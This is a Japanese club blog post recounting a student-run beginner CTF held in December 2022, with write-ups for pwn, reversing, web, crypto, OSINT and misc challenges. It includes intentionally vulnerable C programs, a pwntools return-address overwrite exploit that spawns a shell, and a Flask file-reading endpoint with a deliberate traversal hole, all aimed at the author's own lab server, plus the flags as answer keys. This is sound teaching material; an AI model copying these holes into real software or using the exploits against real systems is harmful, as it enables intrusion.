部内でCTFを開催しました
どうもtrimscashです.
まずは部員の皆さん参加していただきありがとうございました.想定よりも解けていてさすがだなと思います.
部員じゃない人も見て行ってね!
2022年12月22日から23日にかけてローカルで開催したbunaiCTF
の開催日記とWriteupを書きます.
このbunaiCTF
は東京高専プロコンゼミ,ロボコンゼミ合同のクリスマスLTで開催したCTFで初心者が初心者を増やすために開催しました.
東京高専プロコンゼミ① Advent Calendar 2022
の23日目の記事です.ほかの記事もぜひご覧ください.
問題一覧
問題名 | カテゴリ |
---|---|
buffer [easy] | pwn |
buffer2 [medium] | pwn |
callme [hard] | pwn |
helloBinary [easy] | rev |
xorStep [medium] | rev |
unko64 [easy] | web |
justXOR [easy] | crypto |
RSAwithKEY [hard] | crypto |
trimscash [warmup] | osint |
myschool [warmup] | osint |
myhouse [easy] | osint |
omoide [easy] | osint |
mt [easy] | osint |
IWA [easy] | osint |
mytown [medium] | osint |
station [hard] | osint |
funnyIMG [easy] | misc |
synthesis [medium] | misc |
日記
やろうと思いたったのが12月8日でしたので実に2週間近くでいろいろな準備と調査をしました.
適当に時系列順にやったことを箇条書きします.
bunaiCTF開催のきっかけ
12月2日に開催されたtaskCTF
がきっかけです.task4233
という方が一人で運営をしていると知り儂もやりたいなぁ..と思い開催することにしました.
部活のLT会で超簡単なctfを開催することにした
— trimscash (@trims_cash) December 8, 2022
とりあえずPwnの簡単なバッファオーバーフローの問題を作りました.
なんとなく使い方だけしか知らない状態だったので,まずより深く理解するため学校の図書館にあったO'ReillyのDocker本
を読みました.その後なんとなく理解したのでDockerfile等を書き始めました.
Pwnableの問題ではよくxinetdと呼ばれるものが使われています.xinetdとはポートを監視してポートにアクセスがあったらプログラムを実行してくれるやつです.()
大体完成
少々パクったが動かない..原因はImage
を作り直していなかったからだった.
docker-compose up -d --build #でimageを作り直してくれる.
さいあくだよ..image 消して作り直したら普通に動いた..悲しいなぁあぁ....ぁぁあぁああ?ぁぁぁ https://t.co/kY4OXjKwXC
— trimscash (@trims_cash) December 16, 2022
最高
OSINTように学校の周りをうろついたのだが結局この散歩で使った写真は1枚だけだった.残りは過去の記憶の残り香を使った.(過去の写真を使った.)
— trimscash (@trims_cash) December 16, 2022
revやcryptoの問題は鯖を立てる必要がないのでかなり作問が楽だった.
いいですね..これでやってもらえなかったらほんとに悲しい泣く pic.twitter.com/FCyD6Ps3j2
— trimscash (@trims_cash) December 16, 2022
部室に余っていたパソコンにUbuntuを入れて鯖を立てました.ブラウザから鯖にアクセスできた時はほんとに感動しました.
CTFのスコアサーバーにはCTFd
を使いました.CTFd
にはテーマを変更できる機能があり,テーマはgithubで公開されています.今回はそのテーマの中でもpixoと呼ばれるテーマを使わせてもらいました.この時点でもう気分は最高でした.
なんかもう満足 pic.twitter.com/s1WFNhLmoo
— trimscash (@trims_cash) December 17, 2022
できれば幅を広くしたかったので以前作ったunko64ウンコーダーを使ってweb問を作ろうと思いました.がweb問はあまり解かないのでunko64をうまく使った問題はできませんでしたが問題はできました.ちなみにFlask
を使い問題を作りました.めちゃくちゃ便利でした.
事前登録してくれた人がいなかったので参加してもらえるか不安でしたが,部室に集まって参加してもらえました.本当にありがたいです.
OSINT
のstation
という問題と,reversing
のxorStep
に不備が見つかった.最終的になんとかなったがプレイヤーに迷惑をかけてしまった.
スライドを作ってpwn
の一番簡単な問題buffer
の解説をした.
最終結果は以下のようになった.結構いろいろな人に遊んでもらえて幸せだった.また意外と解かれていたので驚きもあった.
優勝者には賞品として粗品をあげるとだけ書くだけ書いて当日まで用意していなかったので,開催中に買いに行きました.
おめでとう!
writeupはほぼ書いておいたので日記を主に書いている.
参加してくれて本当にありがとうって気持ち.
writeup
pwn
buffer [easy]
BufferOverFlowってなんだっけってお隣さんのおばさんから聞かれながらファイルと鯖を渡されました.
nc 192.168.1.80 30002
添付ファイル:buffer.zip
バッファを適当にオーバーフローするだけの簡単な問題.文字列(配列)は上(メモリ低地)から下(メモリ高地)に伸びていくことに注意
https://www.slideshare.net/secret/cpvu34PmHtYndz
bunaiCTF{HE110_6uffeR_0VeR_F10w}
buffer2 [medium]
おばさん..また持ってきたよ..今度はローカル変数がスタックにどう積まれるかがミソぽいけどわからんだって??
nc 192.168.1.80 30002
添付ファイル:buffer2.zip
#include <stdio.h>
int main(){
char a=0;
char b=0;
char buf[10];
printf("What's your name: ");
fgets(buf,20,stdin);
if(a=='a'&&b=='b'){
system("/bin/sh");
}
printf("HAPPY CHRISTMAS!, %s\n",buf);
return 0;
}
ローカル変数がスタックにどのように積まれるか理解していれば簡単な問題.
スタックにはaが先に確保されそのあとbが確保されるので適当に10文字入力したあと"ba"の順で入力するとシェルが取れる.
bunaiCTF{St4ck_1S_E4SY_G4ME}
callme [hard]
わからんことがあったらなんでも聞いてね!
もしもし...
ヒント?..pwntools
とかobjdump
とかreturn address
とか..もっと聞きたい?
nc 192.168.1.80 30003
添付ファイル:callme.zip
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
__attribute__((constructor)) void setup() {
alarm(60);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
}
void callme(){
system("/bin/sh");
}
int main(){
char buf[10];
puts("Hi! Whats up:");
fgets(buf,199,stdin);
printf("if you have any question, pls call me! %s!",buf);
return 0;
}
添付ファイルのvuln.cを見るとバッファオーバーフローが存在する.このオーバーフローを利用しmain関数のreturn address
をオーバーフローを利用して書き換え,任意の関数を呼ぶ問題.
checksec
してみるとPIE
が無効なため書き込みたいアドレスをそのまま書くだけで良い.
呼びたいのはcallme
のsystem("/bin/sh")
関数なのでobjdump
などでアドレスの確認をする.
objdump -d vuln
確認したアドレスでリターンアドレスを上書きする.このときこのソルバではcallme関数の0x4011af
ではなく0x4011b3
にしていることに注意.これはスタックの先頭を指すレジスタrsp
のアラインメントを16byteにそろえるためである.(rsp
を16の倍数にする)デバッグしながらやるとわかるが0x4011af
のpush
でrsp
が16の倍数でなくなる.なのでpush
を飛ばしたアドレスを指定している.
以下参考
#00000000004011b3
from pwn import *
import sys
context.terminal = ['terminator', '-e']
binary_path="./vuln"
if len(sys.argv) < 2:
io = remote("192.168.1.80",30003)
elif sys.argv[1]=="l":
io = process(binary_path)
elif sys.argv[1]=="d":
io = gdb.debug(binary_path, '''
break main
''')
payload=b"a"*18+b"\xb3\x11\x40\00\00\00\00\00"#p64(0x4011b4)
print(payload)
io.recvuntil(b":")
io.sendline(payload)
io.readline()
io.interactive()
実行するとシェルが取れた.
bunaiCTF{y0u_C4N_0VeRWitE_T4E_RET4DDRESS!!}
pwntools
の使い方は以下
rev
helloBinary [easy]
おばさんがドアののぞき穴をのぞいている..外に出て話を聞くと"私はバイナリをのぞいてたんだ!"と意味不明なことを言っている.
バイナリエディタを片手にもったおばさんの目は狂気じみている.
添付ファイル:chall
バイナリを見るとフラグがあるやつ.バイナリの見方を知ってほしい.
hexedit chall
bunaiCTF{CanYouSeeTheBinaryWorld?}
なおhexedit
はバイナリエディタであるので見るだけなら,xxd
というコマンドを使ったほうが便利.(教えていただきありがとうございます.)
xorStep [medium]
gdb
をつかおうよの会!
添付ファイル:chall
別にgdbじゃなくてもなんでもいいけど.xorで復号していくプログラムを解析する問題だった.
gdbで実行して結果を見るなり,逆コンパイルしてソルバを作ってやるなりする問題.知らないと難しいかもしれないのでmedium.
xorされたものがrbp+rax*1-0xf0
あたりに入るようなので一通り実行させた後でブレークしてそこのメモリを見る
ここにブレークポイントを張る.その後メモリを見ると
bunaiCTF{H4PPY_X0R_C0DE_RE4DING}
これは最初配布していたファイルがある程度の実行するだけでフラグが見えてしまっていた.本当に申し訳なかった.それだけじゃなくLinuxのバージョンが低いと実行できなくて申し訳なかった.
web
unko64 [easy]
trimscash君がくそウェブサイトを作ったって自慢してきたよ.でもなんか余計な機能がついてるなぁ..
http://192.168.1.80:30010
添付ファイル:unko64.zip
添付ファイルのなかのapp.py
を見ると
from flask import Flask, render_template, request, redirect, url_for
from markupsafe import escape
app = Flask(__name__)
@app.route("/")
def main():
return render_template('index.html')
@app.route("/finder/")
def finder():
filename = request.args.get('filename')
if filename == None:
print("a")
return redirect(url_for("main"))
if filename == "flag":
return "flag not found. can't you find it?LOL"
try:
f = open(filename,encoding='utf-8')
except Exception as e:
return "ERROR!..maybe file could not found.."
data = f.readline()
return f"{data}"
@app.errorhandler(404)
def error_404(error):
return '''
<h1>404</h1>
'''
if __name__ == "__main__":
app.run(host="0.0.0.0")
このファイルの
@app.route("/finder/")
def finder():
filename = request.args.get('filename')
if filename == None:
print("a")
return redirect(url_for("main"))
if filename == "flag":
return "flag not found. can't you find it?LOL"
try:
f = open(filename,encoding='utf-8')
except Exception as e:
return "ERROR!..maybe file could not found.."
data = f.readline()
return f"{data}"
に明らかに足りないvalidation
がある.
filenameというクエリパラメータがflag
の場合のみ煽りメッセージを送ってくるようになっているので,うまいこと避ければフラグが取れる.
http://192.168.1.80:30010/finder/?filename=./flag
にアクセスするとunko64エンコードされたものが出てくる
巻き糞と大便とトイレとシッコと巻き糞とおねしょと下痢と排泄物とトイレと血便と巻き糞と下痢と糞尿と汚物と放屁とおもらしと牛糞と排泄物とお尻と牛糞と穴と排便とすかしっぺと道糞と馬糞と排便と便秘とトイレと馬糞と汚物とトイレとおもらしとトイレと馬糞と失禁と下痢と糞尿と汚物と目糞とおむつ
のでそれをデコードするとフラグが出てくる.
bunaiCTF{FL4SK_1S_USEFUL}
crypto
justXOR [easy]
0 XOR 0 = 0
1 XOR 1 = 0
0 XOR 1 = 1
1 XOR 0 = 1
A XOR B = C
C XOR B = A
xorman参上
f=open("./flag")
flag=f.readline()
f.close()
key="i like cats.. ah? 'i like dogs'?????"
enc=[];
for i, f in enumerate(flag):
enc.append(ord(f)^ord(key[((i**2)//2)%(i+1)]))
print(enc)
[11, 28, 2, 8, 0, 42, 63, 47, 30, 49, 111, 59, 27, 6, 19, 32, 39, 37, 26, 34, 107, 7, 65, 29, 110, 38, 53, 20, 98]
以上の二つのファイルが渡される.outputはフラグをxorしたものなのでchall.pyと同じようにxorしてあげればフラグが出てくる.
key="i like cats.. ah? 'i like dogs'?????"
enc=[11, 28, 2, 8, 0, 42, 63, 47, 30, 49, 111, 59, 27, 6, 19, 32, 39, 37, 26, 34, 107, 7, 65, 29, 110, 38, 53, 20, 98]
d=""
for i, e in enumerate(enc):
d+=chr(e^ord(key[((i**2)//2)%(i+1)]))
print(d)
bunaiCTF{XORxorISLiKEnotNOT}
RSAwithKEY [hard]
よろしくおねがいしまぁ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~す(ボカン!!)
RSAと整数論とライブラリの使い方を1mmも知っていないと難しいのでhard
した.けど意外と解かれてた.
from Crypto.Util.number import *
f = open("./flag")
flag=f.readline()
f.close()
flag = bytes_to_long(flag.encode("utf-8"))
e = 65537
p = getPrime(1024)
q = getPrime(1024)
n = p * q
c = pow(flag, e, n)
print(f"e: {e}")
print(f"p: {p}")
print(f"q: {q}")
print(f"c: {c}")
e: 65537
p: 118335363544619856559099191301733904689534592514411936119642447793677207628014649896652537497381432559482286505917858859211525449943761277406948834319864180388344103170965762388021006348353384242845226452169617803942582250058281972833606137676938685167217598870436399867023166631315750196841564791414942812231
q: 134232454997546602123474331834567744772791287417599007266701213384391887183359542378917507770008950548162955404813788615054012617175273872893575324334034981867039007380742068508372136995760028686650920645660614197917877665623938819296997651311702034194390592778591599248947292034774445865324890425517291759627
c: 9502901725625644717595112418929352655987643040101994981044146114233969686725462187083591165359378060395374886741494157837505740521209657508811414073406093530794667130370063744895150512839237726078201544544161448792041920014925737726690362869505287210839312694039103181590257135428404187619155906056459151028610394328836242676563841600289413701309614083455536460196796439701742363410706701532550124554525218189748064623983184547196530109316556451723273298829833077893334774139892129249936878015755217925925225826284661300223787327051224496527252376640121905040043842781460369831061104512348836870083781569618477135860
RSAの秘密鍵が完全にわかっている状態.なのでφ(n)=(p-1)(q-1)
を法としてe
のモジュラ逆数(d
とする)を求めて,暗号化された文字列c
をn
を法としてd
乗する.その後その整数をbytes型に直すべくlong_to_bytes
関数を実行すると,フラグがゲットできます.
from Crypto.Util.number import *
e = 65537
p = 118335363544619856559099191301733904689534592514411936119642447793677207628014649896652537497381432559482286505917858859211525449943761277406948834319864180388344103170965762388021006348353384242845226452169617803942582250058281972833606137676938685167217598870436399867023166631315750196841564791414942812231
q = 134232454997546602123474331834567744772791287417599007266701213384391887183359542378917507770008950548162955404813788615054012617175273872893575324334034981867039007380742068508372136995760028686650920645660614197917877665623938819296997651311702034194390592778591599248947292034774445865324890425517291759627
c = 9502901725625644717595112418929352655987643040101994981044146114233969686725462187083591165359378060395374886741494157837505740521209657508811414073406093530794667130370063744895150512839237726078201544544161448792041920014925737726690362869505287210839312694039103181590257135428404187619155906056459151028610394328836242676563841600289413701309614083455536460196796439701742363410706701532550124554525218189748064623983184547196530109316556451723273298829833077893334774139892129249936878015755217925925225826284661300223787327051224496527252376640121905040043842781460369831061104512348836870083781569618477135860
n = q*p
phi = (p-1)*(q-1)
d = pow(e,-1,phi)
dec = pow(c,d,n)
flag = long_to_bytes(dec)
print(flag)
bunaiCTF{RSA_wItH_Se4cREt_Key_1s_E4sy}
osint
trimscash [warmup]
trimscashのツイッターをあさってください..
tirmscash->christmas
bunaiCTF{D0_U_h4VE_Tw1tTer_4cc0uNt?}
bunaiCTF{D0_U_h4VE_Tw1tTer_4cc0uNt?}
— trimscash (@trims_cash) December 14, 2022
ツイートを探るというつまらない作業になっていてほんとに申し訳なかった.けどツイート検索をすれば一瞬だったと思う.
myschool [warmup]
おなじみの機構が見えますね..
写真をとった人がいる座標を切り捨てで小数点第4桁までとって例のように提出して下さい.
例:`bunaiCTF{123.1234,312.4231}
画像を見ると東京工業高等専門学校
と書いてあるのでその周りを漁ります.部員ならすぐわかるよな??
bunaiCTF{35.6400,139.2946}
myhouse [easy]
これ何住宅ってよばれてる?
例:bunaiCTF{なんちゃら住宅}
bunaiCTF{旧下田家住宅}
omoide [easy]
懐かしい二年前の写真.おばさんと私はこのころ恋人どうしだったっけ.()
写真をとった人がいる座標を切り捨てで小数点第4桁までとって例のように提出して下さい.
例:bunaiCTF{123.1234,312.4231}
bunaiCTF{35.7283,139.1420}
mt [easy]
地蔵マスク
写真をとった人がいる座標を切り捨てで小数点第4桁までとって例のように提出して下さい.
例:`bunaiCTF{123.1234,312.4231}
GoogleLens
で高尾さんだとわかるので山頂にれっつらごー
bunaiCTF{35.6250,139.2435}
IWA [easy]
指が写ってるよ..trimscash君...
写真をとった人がいる座標を切り捨てで小数点第4桁までとって例のように提出して下さい.
例:bunaiCTF{123.1234,312.4231}
とりあえず
GoogleLens
すると神戸岩
だとわかるのでそこらを探索.
GoogleMap
bunaiCTF{35.7558,139.1141}
mytown [medium]
居場所特定してみろやww
写真をとった人がいる座標を切り捨てで小数点第4桁までとって例のように提出して下さい.
例:bunaiCTF{123.1234,312.4231}
画像を見るとYokota Passenger term~~
と書いてある.とりあえずググると大体の場所がわかる.その後GoogleMapで探索する.
bunaiCTF{35.7537,139.3406}
station [hard]
この駅の駅名を答えてください.
例:bunaiCTF{東京駅}
左上の黄色い塔をGoogleLens
で検索.うまいこと反応するまで大きさを変えたりする.
bunaiCTF{高尾駅}
これは最初easy
だったがGoogleLens
ではうまくやらないと反応しないので途中でHard
にした.学校の近くの高尾駅からの景色で分かる人は一瞬で分かる.わかる人は一瞬で分かりわからない人には難しいというあまりよくない問題だった.ただ今回みたいにローカルな開催じゃなければ普通に難しい問題だった.
すみませんでした.
misc
funnyIMG [easy]
miscはその他の分野!この画像に込められた思いがわかるかな??
添付ファイルfunnyIMG.png
下のほうが破損している.怪しいのでバイナリエディタのhexedit
で開いてみる.
フラグが見えた.
bunaiCTF{binaRYiSFUn}
hexedit
でなくxxd
を使ったほうが見るだけならパイプ通して検索も簡単にできるので便利.(教えていただきありがとうございます.
synthesis [medium]
がっちゃんこ!がっちゃんこ!opencvとの戦いにxormanは勝利することはできるのだろうか.
添付ファイルa.png
,b.png
,c.png
画像をopencv
のbitwise_xor
関数でXORしてやるとフラグが浮き出てくる.
import cv2
a = cv2.imread('./a.png')
b = cv2.imread('./b.png')
c = cv2.imread('./c.png')
xored=cv2.bitwise_xor(cv2.bitwise_xor(a,b),c)
cv2.imwrite("flag.png",xored)
bunaiCTF{XORISSOUSEFUL.....}
さいごに
やはり開催中問題にいくつか不備が見つかりました.初心者とは言え確認をもう一度すればなくせたので申し訳ないです.自分の足りないところや弱さを改めて痛感しました.またこれをグローバルな環境でやっている方々はすごいなと改めて思いました.でも開催するのめちゃくちゃ楽しかったです.だから来年もやりますね!
かなり急いで書いたので誤り等あったら教えてください.
部員はここがわからないとかもっと詳しくとかありましたら気軽に聞いてね!!
参加してくれた部員の皆様.そしてこの稚拙な文を読んでくれた皆様本当にありがとうございました.
CTFを開催するのはCTFに参加するのとは違う難しさや楽しさがありより一層CTFを好きになれた気がします.皆様もCTF開催してみませんか?
部員の人は来年も開催すると思うので運営したい人は言ってね!!
bunaiCTF{Th4nK_Y0u_f0r_pl4y1ng_and_RE4dinG}
東京高専プロコンゼミ① Advent Calendar 2022
の23日目の記事です.ほかの記事もぜひご覧ください.